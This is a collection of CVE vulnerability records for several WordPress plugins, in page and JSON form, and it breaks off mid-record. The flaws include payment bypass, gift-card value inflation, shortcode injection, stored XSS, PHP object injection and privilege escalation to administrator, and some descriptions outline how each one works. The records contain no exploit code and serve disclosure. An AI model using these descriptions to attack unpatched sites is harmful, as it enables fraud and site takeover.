"datePublished": "2026-09-10T06:00:05.700Z",
"dateReserved": "2026-08-10T13:02:17.334Z",
"dateUpdated": "2026-09-10T13:12:35.999Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-19436 (GCVE-0-2026-19436)
Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:12
VLAI
EPSS
VEX
Title
Ultimate Gift Cards For WooCommerce < 3.2.10 - Unauthenticated Gift Card Value Inflation via Discounted Purchase
Summary
The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:08 UTC
CWE
- CWE-284 Improper Access Control
- CWE-284 - Improper Access Control
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/7c2f56f6-9c0a-4d… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Ultimate Gift Cards for WooCommerce |
Affected:
0 , < 3.2.10
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-19436",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:08:05.462463Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-284",
"description": "CWE-284 Improper Access Control",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:12:50.628Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Ultimate Gift Cards for WooCommerce",
"vendor": "Unknown",
"versions": [
{
"lessThan": "3.2.10",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Guillermo \u00c1lvarez Fern\u00e1ndez"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-284 Improper Access Control",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:05.523Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/7c2f56f6-9c0a-4de2-9cd2-9c25a25c3530/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Ultimate Gift Cards For WooCommerce \u003c 3.2.10 - Unauthenticated Gift Card Value Inflation via Discounted Purchase",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-19436",
"datePublished": "2026-09-10T06:00:05.523Z",
"dateReserved": "2026-08-10T12:44:06.866Z",
"dateUpdated": "2026-09-10T13:12:50.628Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-85117 (GCVE-0-2026-85117)
Vulnerability from nvd – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23
VLAI
EPSS
VEX
Title
Contact Form 7 Captcha 0.1.7 - 0.1.8 - Unauthenticated Arbitrary Shortcode Execution via Form Field Repopulation
Summary
The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/e791e4a6-5ec1-49… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Contact Form 7 Captcha |
Affected:
0.1.7 , < 0.1.9
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-85117",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:10.980997Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:23:41.750Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"product": "Contact Form 7 Captcha",
"vendor": "Unknown",
"versions": [
{
"lessThan": "0.1.9",
"status": "affected",
"version": "0.1.7",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jakub Herman"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:25:07.194Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/e791e4a6-5ec1-49c7-9448-1d83ec4f4905/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Contact Form 7 Captcha 0.1.7 - 0.1.8 - Unauthenticated Arbitrary Shortcode Execution via Form Field Repopulation",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-85117",
"datePublished": "2026-09-09T06:25:07.194Z",
"dateReserved": "2026-09-03T07:55:26.694Z",
"dateUpdated": "2026-09-09T15:23:41.750Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-83537 (GCVE-0-2026-83537)
Vulnerability from nvd – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23
VLAI
EPSS
VEX
Title
WP Express Checkout < 2.5.0 - Unauthenticated Payment Bypass via wpec_process_empty_payment
Summary
The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-345 Insufficient Verification of Data Authenticity
- CWE-345 - Insufficient Verification of Data Authenticity
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/02b39e4f-181d-45… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | WP Express Checkout |
Affected:
0 , < 2.5.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-83537",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:16.966066Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-345",
"description": "CWE-345 Insufficient Verification of Data Authenticity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:23:34.131Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"product": "WP Express Checkout",
"vendor": "Unknown",
"versions": [
{
"lessThan": "2.5.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "ryan zegar"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-345 Insufficient Verification of Data Authenticity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:25:06.539Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/02b39e4f-181d-4573-9175-bf5a6d71e531/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "WP Express Checkout \u003c 2.5.0 - Unauthenticated Payment Bypass via wpec_process_empty_payment",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-83537",
"datePublished": "2026-09-09T06:25:06.539Z",
"dateReserved": "2026-08-31T17:01:05.328Z",
"dateUpdated": "2026-09-09T15:23:34.131Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-80440 (GCVE-0-2026-80440)
Vulnerability from nvd – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23
VLAI
EPSS
VEX
Title
Hustle < 7.8.14.2 - Unauthenticated Arbitrary Shortcode Execution via Success Message Placeholders
Summary
The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site.
Severity
4.8 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/7b86b462-e021-49… | exploitvdb-entrytechnical-description |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-80440",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:21.634590Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:23:25.033Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"product": "Hustle",
"vendor": "Unknown",
"versions": [
{
"lessThan": "7.8.14.2",
"status": "affected",
"version": "7.0.0.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jakub Herman"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:25:05.901Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/7b86b462-e021-4906-bbf3-bf83f89a03ee/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Hustle \u003c 7.8.14.2 - Unauthenticated Arbitrary Shortcode Execution via Success Message Placeholders",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-80440",
"datePublished": "2026-09-09T06:25:05.901Z",
"dateReserved": "2026-08-26T11:10:10.203Z",
"dateUpdated": "2026-09-09T15:23:25.033Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-19855 (GCVE-0-2026-19855)
Vulnerability from nvd – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23
VLAI
EPSS
VEX
Title
Spam protection, Honeypot, Anti-Spam by CleanTalk < 6.87 - Unauthenticated Arbitrary Shortcode Execution via Comment Text
Summary
The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress's shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/c27f3657-261a-46… | exploitvdb-entrytechnical-description |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-19855",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:26.851558Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:23:18.450Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"product": "CleanTalk",
"vendor": "Unknown",
"versions": [
{
"lessThan": "6.87",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jakub Herman"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress\u0027s shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:25:05.235Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/c27f3657-261a-46cd-860c-0bdf5c849190/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Spam protection, Honeypot, Anti-Spam by CleanTalk \u003c 6.87 - Unauthenticated Arbitrary Shortcode Execution via Comment Text",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-19855",
"datePublished": "2026-09-09T06:25:05.235Z",
"dateReserved": "2026-08-14T09:43:54.757Z",
"dateUpdated": "2026-09-09T15:23:18.450Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-85418 (GCVE-0-2026-85418)
Vulnerability from nvd – Published: 2026-09-09 06:00 – Updated: 2026-09-09 15:22
VLAI
EPSS
VEX
Title
Orbit Fox < 3.0.9 - Contributor+ Stored XSS via Beaver Builder Pricing Table Widget
Summary
The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More WordPress plugin before 3.0.9 does not validate a user-supplied HTML tag name in one of its Beaver Builder widgets before echoing it into the rendered markup, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when any visitor views the affected page.
Severity
5.4 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-79 Cross-Site Scripting (XSS)
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/8f9ba009-324f-46… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More |
Affected:
0 , < 3.0.9
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-85418",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:32.751835Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79 Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:22:59.845Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts \u0026 More",
"vendor": "Unknown",
"versions": [
{
"lessThan": "3.0.9",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Farid Narimanov"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts \u0026 More WordPress plugin before 3.0.9 does not validate a user-supplied HTML tag name in one of its Beaver Builder widgets before echoing it into the rendered markup, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when any visitor views the affected page."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-79 Cross-Site Scripting (XSS)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:00:09.271Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/8f9ba009-324f-46ef-853f-9f2e706c401e/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Orbit Fox \u003c 3.0.9 - Contributor+ Stored XSS via Beaver Builder Pricing Table Widget",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-85418",
"datePublished": "2026-09-09T06:00:09.271Z",
"dateReserved": "2026-09-03T19:33:55.847Z",
"dateUpdated": "2026-09-09T15:22:59.845Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-82925 (GCVE-0-2026-82925)
Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:11
VLAI
EPSS
VEX
Title
Site Reviews 7.2.2 - 8.2.2 - Unauthenticated PHP Object Injection via Form Signature
Summary
The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site's WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0's own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:10 UTC
CWE
- CWE-502 Deserialization of Untrusted Data
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/bce47707-b60c-42… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Site Reviews |
Affected:
7.2.2 , < 8.3.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-82925",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:10:13.419353Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:11:07.358Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Site Reviews",
"vendor": "Unknown",
"versions": [
{
"lessThan": "8.3.0",
"status": "affected",
"version": "7.2.2",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jakub Herman"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site\u0027s WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0\u0027s own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.747Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/bce47707-b60c-42a7-8817-89b1483f41a3/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Site Reviews 7.2.2 - 8.2.2 - Unauthenticated PHP Object Injection via Form Signature",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-82925",
"datePublished": "2026-09-10T06:00:06.747Z",
"dateReserved": "2026-08-31T11:50:40.276Z",
"dateUpdated": "2026-09-10T13:11:07.358Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-81431 (GCVE-0-2026-81431)
Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:11
VLAI
EPSS
VEX
Title
Registration Form for WooCommerce 1.1.0 - 1.1.2 - Contributor+ Privilege Escalation via Unvalidated tgwcfb_id
Summary
The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807.
Severity
7.2 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:10 UTC
CWE
- CWE-269 Improper Privilege Management
- CWE-269 - Improper Privilege Management
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/e1255dd5-90d9-4c… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Registration Form for WooCommerce |
Affected:
1.1.0 , < 1.1.3
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
